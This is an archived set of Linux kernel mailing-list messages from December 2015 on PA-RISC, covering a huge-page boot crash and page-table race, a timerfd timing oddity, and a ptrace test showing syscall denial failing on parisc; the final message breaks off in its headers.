Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aCnf7-0003yY-Qg
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Dec 2015 13:09:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751783AbbLZMJW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2015 07:09:22 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:52774 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751770AbbLZMJU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2015 07:09:20 -0500
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (Postfix) with ESMTPS id ADD048E222;
	Sat, 26 Dec 2015 12:09:19 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id tBQC9If6020927
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Sat, 26 Dec 2015 07:09:19 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id tBQC9IR6012165;
	Sat, 26 Dec 2015 07:09:18 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id tBQC9G0x012160;
	Sat, 26 Dec 2015 07:09:16 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <alpine.LRH.2.02.1511241343200.30334@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26282 gmane.linux.kernel:2115233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26282>



On Tue, 24 Nov 2015, Mikulas Patocka wrote:

> 
> 
> On Tue, 24 Nov 2015, Helge Deller wrote:
> 
> > * Mikulas Patocka <mpatocka@redhat.com>:
> > > 
> > > 
> > > On Tue, 24 Nov 2015, Helge Deller wrote:
> > > 
> > > > > Hi
> > > > > 
> > > > > Since the kernel 4.4-rc2 I'm getting frequent boot failures on PA-RISC. 
> > > > > When I revert this patchset, the crashes are gone.
> > > > 
> > > > > [    3.296666] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
> > > > 
> > > > Hi Mikulas,
> > > > 
> > > > Yes, I've seen this as well.
> > > > It affects only the PA8900 CPUs, while all PA8500-PA8700 machines seem to work fine.
> > > > I do have a temporary 3-line patch to avoid the crashes which I'll push to my tree shortly.
> > > > I'm still investigating why it only affects the PA8900 CPUs, but I assume
> > > > it's related to the cache aliasing of those CPUs.
> > > > I'll keep you updated.
> > > > 
> > > > Helge
> > > 
> > > The PA-RISC specification doesn't allow aliasing on non-equaivalent 
> > > addresses. Can the kernel map a piece of kernel data to other virtual 
> > > address? If yes, we can't use big pages to map kernel data.
> > 
> > Can you please try the two patches below?
> > The first one disables mapping kernel text/data on huge pages on
> > PA8800/PA8900 CPUs. Patch works for me on my Mako PA8800.
> > 
> > Independend of my huge page patch the second patch disables the tlb
> > flush optimization we added earlier. It seems calling flush_tlb_all()
> > doesn't reliably flushes tlbs on all CPUs so it's better to fall back to
> > the loop implementation.
> > 
> > Helge
> 
> The kernel with these patches works fine so far.
> 
> Mikulas

BTW. I looked at this in arch/parisc/mm/hugetlbpage.c:set_huge_pte_at 
"*ptep = entry;" and it seems like a bad bug. PA-RISC doesn't have atomic 
instructions to modify page table entries, so it takes spinlock in the TLB 
handler and modifies the page table entry non-atomically. If you modify 
the page table entry without the spinlock, you may race with TLB handler 
on another CPU and your modification may be lost.

The comment says something about double locking on pa_tlb_lock, but 
pa_tlb_lock isn't held when that function is called.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: timerfd_settime/timerfd_gettime issue ?
Date: Sat, 26 Dec 2015 13:26:14 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <567E8766.6020707@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1451132795 30532 80.91.229.3 (26 Dec 2015 12:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Dec 2015 12:26:35 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 13:26:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aCnvW-0006fN-99
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Dec 2015 13:26:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751521AbbLZM0Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2015 07:26:25 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:64061 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751073AbbLZM0Y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2015 07:26:24 -0500
Original-Received: from [192.168.20.60] ([92.203.52.27]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0M2L60-1aTELT2rCO-00sANL; Sat, 26 Dec 2015 13:26:15
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
X-Provags-ID: V03:K0:nhtB768uzxnS9AJ1aoGPEMC5ngnk3ZiVZcUHdk4z1CA6R2h8++n
 Ldwr6ahaNo3NX+zNl1eXEotu25aKnP8W4KGhY8ivCT/5VfQ6ZNL636A0oOGskrEwaCMwt5K
 Y763qJIQn8dQ/JBcYU0lYpMMBiuDiSQkKBXMkhIPh59NMVCf+tQ6ezkZqvs24Zuts/PInuE
 0Rn+nyypOauVnj36K0K2w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:12/5j6xRBvs=:B0l2dmlkVDkpaleJztOdDb
 Rua+Og6C+P+jauNKDHEu372Kk/0V6E66ELsCPzAhR3d37i/PwtLAzdnCxNQ9fXNXBJrncYer6
 +sX4e2ti9qrhHjol82vjcg1eHLAZXLc9pXUFOXjYPN+11ccYN+9LuqBlypWdzQd5s/qieftxA
 mS85pnNZDKW4lQ7vHhwECxAQgPXDpllMPEwAKVpfWelMqiRrKvzfbop8hMTdH+KGapiSaGhNH
 Xgd6K28UD82mGc8WY7j8yMNjn25DVpqIw2YFOj5ciSCuep1RLNAfL4hnjXfOswf//GN7SU+WO
 LjAL9DUgfQEpJfS2CD6FxHZR+mmpWUa8UyDpKsRGKuaNxA/onUx4E+5nkjS0rKOthXEV9LZ8s
 voymdvy2edCSRqi9QYP+XbPETKC662aeP6Esit6WZrQ/Q5PVRcXt/pgmjTBRbQZfdZW63+5JY
 LQmIYqKkh7+R7FxzW8T5uJdO7J6OemABnwJDYy7eYWE0dUxr7wp2tvqR98Nd5rCEgnpt4WGAA
 Fqt9e0C7at9p6PdDMPpsU407ark/TWTIfNet67Bt3Wh5VO8wKTYYiUsSk2toSF+dwHhj1zFoc
 kZYTZ0am1ghj1Lunj7agSUl9/fdGXy086OkdeJbKVIRJxn6FvpgQ/VsRNloGqBzvTB6Z815pf
 EgM07b1OW0Yv/Tl6fKlego4fV0ptPdlxjIbfZkVWsCZN4ho9GuFtXaxc6mj3gMsxlCJxgUdat
 aZlJ+U8aOmGIJ0Oj7KY/HfCQedEMGpSKfZam5M/iClKbZE2lHuzvV2+UHJx3lJ2lUvyks67S 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26283 gmane.linux.kernel:2115235
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26283>

Hi Thomas,

I see a strange behavior on the parisc platform, for which I'm not sure if it's intended or
if there is a bug somewhere.

The program calls timerfd_settime() and sets a timer (e.g. sec=0, nsec=100000000).
Directly after setting the timer it calls timerfd_gettime() and receives (sec=0, nsec=103914413).
The second nsec is higher than the initial nsec value which was set.

Does timerfd_settime() maybe tries to add the initial time it takes to start the timer?
Any idea or hint?

Thanks,
Helge

Background:
I'm debugging the build-failure on debian for the liblinux-fd-perl package:
https://buildd.debian.org/status/fetch.php?pkg=liblinux-fd-perl&arch=hppa&ver=0.011-1&stamp=1443355593

Here is a log which I get from kernel after adding some printks.
The problematic line is #3. 
[  465.888000] timerfd_settime: interval (sec=0, nsec=0)         it_value (sec=0, nsec=100000000) 
[  466.196000] timerfd_settime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=100000000) 
[  466.300000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=103914413) 
[  466.404000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=97444552) 
[  466.508000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=92611704) 
[  466.616000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=87376859) 
[  466.720000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=82538534) 
[  466.824000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=77293289) 
[  466.928000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=72501584) 
[  467.036000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=67377673) 
[  467.140000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=62631601) 
[  467.244000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=57401824) 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Sat, 26 Dec 2015 13:31:54 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <567E88BA.4010607@gmx.de>
References: <20151122115153.GA28471@p100.box>
 <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com>
 <5654892D.1030707@gmx.de>
 <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com>
 <20151124170020.GA13198@p100.box>
 <alpine.LRH.2.02.1511241343200.30334@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1512260645560.7692@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1451133150 2948 80.91.229.3 (26 Dec 2015 12:32:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Dec 2015 12:32:30 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 13:32:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aCo1B-0001gP-J4
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Dec 2015 13:32:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751194AbbLZMcP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2015 07:32:15 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:55837 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751190AbbLZMcO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2015 07:32:14 -0500
Original-Received: from [192.168.20.60] ([92.203.52.27]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LkgEO-1aklmu3K9U-00aSTH; Sat, 26 Dec 2015 13:32:00
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.02.1512260645560.7692@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:4TDcNBorHLQIdnEXx3YvrcfyscTMN4FeUo5GteKUQXNs+RPm7lb
 h3+azX6CrcFdse8XBXK8NLslsLzHH4/zqHFa9S3KhIp25ObvfM4LRYMpS1U06o4M1xOmR9k
 gKIn6Ty1+bWFk/OQxMvRTJDoxp5moRzec6SnBcxGUfgTp49L2gpF36xapdmnRrDqZvJFsnx
 ZXJdmwd6HLpWDpucZeSiA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Xk022KtEKeo=:sI9FY7tE4MeH2rxvrVUEOR
 oiOsk4I9n9Ux40Ia5Lil+O/joqTaPp8naFt3ZKAGP9nsmKAZ8zLmnGO2jYm/WFVljX4lmnsd6
 osw2r8yeLejBplLF6Szw6JmLrnENDFrO36lqTLZ0QDVZgpGfqh5e56U6hfNFsy4vvETYm3soA
 0vankvFJViqq8H7yEwNxWjhWjba5eVS93W+ueZzRSnVEKIWHpu3rWJqvS1J1iJ57N62e0b3qd
 2pJYM4smcu5fnMOh3tXFR+ilYRDfvSNnTx88rIZcycf3cCFL5b91uMIRFhBB5wMI1vTwzPCWS
 L+w77GiTF7xSwrdagYmq+akoaqPim6rYApJ/IS99SuDur56i3zm1+Nr5FuMqnxUy897hHTCxG
 uHqsRQVudPosfs7ZN/fmgixsK2HCvIWI2a53skPP7GoC+D2dLNRcNTcMPproy68K3GYADN1PJ
 udQvndBoHpl5WNp5Em4tmADwJ9lg2rp+1opncCjAfH3PYVo60K1SB6lGHlM7M+Z4sCZnTYZiQ
 KE90UShNKWTGD6RT+ZuwnfitsCkJ9YfqWC8zgdRA9VKElJ31jNMQHrKjhY6Fre82DQbUTurVs
 XmSOWpSvJIgxbh8GhMndFe3OXf1iFavIublpGAgpJI+WSC0/kia0yDsodpyjGq7kVlUtv9pz1
 s/ODkC3VeHB1pn01oE5FvPXNJ9P334yVJ5tsWN9lk+h1weym74Dkdv/YIq3jHXJlJguhS3d43
 KE1OOcixz/CPRLytg/uV2aV0S+JUjB3N4nDcKCjWnT2N21rO8lB4nsNXOZRp33X5b8F+pTsY 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26284 gmane.linux.kernel:2115236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26284>

On 26.12.2015 13:09, Mikulas Patocka wrote:
>> On Tue, 24 Nov 2015, Helge Deller wrote:
>>> * Mikulas Patocka <mpatocka@redhat.com>:
>>>> On Tue, 24 Nov 2015, Helge Deller wrote:
>>>>>> Hi
>>>>>>
>>>>>> Since the kernel 4.4-rc2 I'm getting frequent boot failures on PA-RISC. 
>>>>>> When I revert this patchset, the crashes are gone.
>>>>>
>>>>>> [    3.296666] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
>>>>>
>>>>> Hi Mikulas,
>>>>>
>>>>> Yes, I've seen this as well.
>>>>> It affects only the PA8900 CPUs, while all PA8500-PA8700 machines seem to work fine.
>>>>> I do have a temporary 3-line patch to avoid the crashes which I'll push to my tree shortly.
>>>>> I'm still investigating why it only affects the PA8900 CPUs, but I assume
>>>>> it's related to the cache aliasing of those CPUs.
>>>>> I'll keep you updated.
>>>>>
>>>>> Helge
>>>>
>>>> The PA-RISC specification doesn't allow aliasing on non-equaivalent 
>>>> addresses. Can the kernel map a piece of kernel data to other virtual 
>>>> address? If yes, we can't use big pages to map kernel data.
>>>
>>> Can you please try the two patches below?
>>> The first one disables mapping kernel text/data on huge pages on
>>> PA8800/PA8900 CPUs. Patch works for me on my Mako PA8800.
>>>
>>> Independend of my huge page patch the second patch disables the tlb
>>> flush optimization we added earlier. It seems calling flush_tlb_all()
>>> doesn't reliably flushes tlbs on all CPUs so it's better to fall back to
>>> the loop implementation.
>>>
>>> Helge
>>
>> The kernel with these patches works fine so far.
>>
>> Mikulas
> 
> BTW. I looked at this in arch/parisc/mm/hugetlbpage.c:set_huge_pte_at 
> "*ptep = entry;" and it seems like a bad bug. PA-RISC doesn't have atomic 
> instructions to modify page table entries, so it takes spinlock in the TLB 
> handler and modifies the page table entry non-atomically. If you modify 
> the page table entry without the spinlock, you may race with TLB handler 
> on another CPU and your modification may be lost.

Right.

> The comment says something about double locking on pa_tlb_lock, but 
> pa_tlb_lock isn't held when that function is called.

I have a work-in-progress patch for that in one of my trees, e.g.:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=parisc-next&id=5c76b525cbdb097401f46522b27b1eb6244f34f9
It's lightly tested though.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ptrace interface does not permit modification of syscall return
Date: Mon, 28 Dec 2015 13:03:07 -0500
Lines: 106
Approved: news@gmane.org
Message-ID: <20151228180307.GI25803@vapier.lan>
References: <20151221175558.GA11489@vapier.lan>
 <5679BC60.5090107@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="0k2ZE0YWsaeoufzj"
X-Trace: ger.gmane.org 1451325791 31658 80.91.229.3 (28 Dec 2015 18:03:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Dec 2015 18:03:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 28 19:03:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aDc8T-0003Zi-GF
	for glpp-linux-parisc@plane.gmane.org; Mon, 28 Dec 2015 19:03:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751354AbbL1SDI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Dec 2015 13:03:08 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:45932 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751126AbbL1SDI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Dec 2015 13:03:08 -0500
Original-Received: from vapier.lan (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with SMTP id 7A9F13407D0;
	Mon, 28 Dec 2015 18:03:07 +0000 (UTC)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <5679BC60.5090107@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26285>


--0k2ZE0YWsaeoufzj
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On 22 Dec 2015 22:10, Helge Deller wrote:
> On 21.12.2015 18:55, Mike Frysinger wrote:
> > i have a ptrace program that watches for specific syscalls and when
> > matched, will:
> >  - on entry change the syscall nr to -1 (so the kernel will skip it)
> >  - on exit change the return to -EPERM so the userspace sees a denial
> >=20
> > i have this working on most arches (x86, x86_64, arm, alpha, ia64, etc.=
=2E.).
> > on parisc, the kernel (using 3.18.7 currently) appears to be wrong.  in=
 my
> > tests, if i don't mess with the syscall nr, i can change the return val=
ue
> > fine (to EPERM or whatever).  but the syscall executed which i do not w=
ant.
> > if i change the syscall to -1, then i can't change the return value (so=
 the
> > child sees ENOSYS), but the kernel still executes the original syscall.
> >=20
> > i have a simple test case attached to show the issue.  the code does:
> >  - spawn a child with the parent tracing it
> >  - child will do:
> >   - dupe stderr to another fd
> >   - unlink a file named ".test.flag"
> >   - write a message through the new fd
> >   - close a magic # so the parent knows to start denying
> >     - should see EPERM but it sees ENOSYS
> >   - close the new fd
> >     - should see EPERM but it is closed!
> >   - write to the new fd
> >     - should work, but the fd is closed
> >   - call create on ".test.flag"
> >     - should see EPERM, but the file is created!
> >  - parent will do:
> >   - log the syscalls until child runs close(-12345)
> >   - the parent will then try to deny all close/creat calls
> >   - uses PTRACE_POKEUSER w/PT_GR20 to set syscall to -1
> >   - uses PTRACE_POKEUSER w/PT_GR28 to set return to -EPERM
> >=20
> > you can run the test case by doing:
> > $ gcc test.c && ./a.out
>=20
> I agree, something is fishy :-)
>=20
> I did some tests with your testcase.
> First problem I had was, that compiling failed since it didn't found the =
asm/offset.h header file.
> Which one did you used? I know it usually should come with the kernel hea=
ders, but there it is asm-offsets.h.

hmm, looks like it got installed by hand at some point (Jul 2004 datestamp!)
and never cleaned up.

> First problem: I had to install the 64bit header file. PT_GR20 in this on=
e was much higher than it should be for 32bit userspace.
>=20
> So, I used those defines (taken from the strace source package):
> #define PT_GR20 (20*4)
> #define PT_GR26 (26*4)
> #define PT_GR28 (28*4)
> #define PT_IAOQ0 (106*4)
> #define PT_IAOQ1 (107*4)

these are the values in my local asm/offset.h, and what i was using
in my original code -- the register # multiplied by 4.

> With that I got those output:

looks like you're seeing the same as me.  i'm only testing 32bit user
and 32bit kernel currently as we don't have a 64bit userspace :).
-mike

--0k2ZE0YWsaeoufzj
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWgXlbAAoJEEFjO5/oN/WBcfgQAIRL/OrmcsNRf5FlUu7D3y0r
hUzgwBnj7CNume4sgi9Kmzdhny5RG8mXK6OSDklNXCH2fAz2n7JuaJC8r78NeVN2
C/33BRaWYpUnI/BuLZ8fToOMIEh8gdr/wvaxE58zJxSovcBg9mK0z2X3+0ouXaVY
Fwtg9Vbe6EeFIMesOmTZypeM9oQ4rlrWktGDF2mXU5TPBz3tintq/3wSzrPwzTNT
YcQxZ3Itl3Tx6h41yoq0zAcCWBsksZ7msMw9aFiAWdPZp9CDn62nzwKFE0xPYoFj
ScQ6THNn2gZwbaRVyXHZTmFgl8pbuKx3PdDVSxeVyxoEcnuA5rs+OITJnpdBlZZu
xOgZy0JHh4OgGFStKo2RR+AzvQTXMJlp07eGvE07N78Opul8gmx/nbktyr8s+M3u
1H2qu6nFKHWk+LQdabTQtCn9ageZBg3imTy6yJYp+nwuw2jnTDjJuaQvTCU8UJ9C
6RvKDeFq2Z07AbSYcVgIJP2ssh7mlDvYhGuLLkMZTlcjhDoIj8pjS3vKk4bSXS4V
RjmyWZZGURQOswaYilkZb/OMxK9U325H2kQtbxIiayltXPpzuKWxNRwjYHS+5ZNr
An6mI22+sdyQhYdptvU789d4Jc4yCRf/KDBzCC3th3XqLF+Vm2T7ygiJk55T+wzn
71j3F1jSQC3jGHHk3tO7
=YkGF
-----END PGP SIGNATURE-----

--0k2ZE0YWsaeoufzj--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simon Horman <horms@verge.net.au>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [PATCH v2 09/16] drivers: Initialize resource entry to zero
Date: Tue, 29 Dec 2015 08:37:33 +1100
Lines: 27
Approved: news@gmane.org
Message-ID: <20151228213733.GA16152@verge.net.au>
References: <1451081365-15190-1-git-send-email-toshi.kani@hpe.com>
 <1451081365-15190-9-git-send-email-toshi.kani@hpe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1451338672 32511 80.91.229.3 (28 Dec 2015 21:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Dec 2015 21:37:52 +0000 (UTC)
Cc: akpm@linux-foundation.org, bp@alien8.de, linux-arch@vger.kernel.org,
	linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	linux-acpi@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org
To: Toshi Kani <toshi.kani@hpe.com>
Original-X-From: owner-linux-mm@kvack.org Mon Dec 28 22:37:40 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1aDfU3-0007s6-Gl
	for glkm-linux-mm-2@m.gmane.org; Mon, 28 Dec 2015 22:37:39 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 3F9B982F67; Mon, 28 Dec 2015 16:37:38 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 3AA5B82F66; Mon, 28 Dec 2015 16:37:38 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 2C05882F67; Mon, 28 Dec 2015 16:37:38 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-ig0-f177.google.com (mail-ig0-f177.google.com [209.85.213.177])
	by kanga.kvack.org (Postfix) with ESMTP id 0787382F66
	for <linux-mm@kvack.org>; Mon, 28 Dec 2015 16:37:38 -0500 (EST)
Original-Received: by mail-ig0-f177.google.com with SMTP id to18so143963420igc.0
        for <linux-mm@kvack.org>; Mon, 28 Dec 2015 13:37:38 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:organisation:user-agent;
        bh=zbq1ICTmxt7CqsLF+hInxtQPb1SgsQ1ilLMGzn7qePI=;
        b=OCh0C1ZPWGdxGZj/OVwJO/fAuPPtg1bQSIg8saBs2mR5+lIZ4CJJKsizPIyF5X/dLg
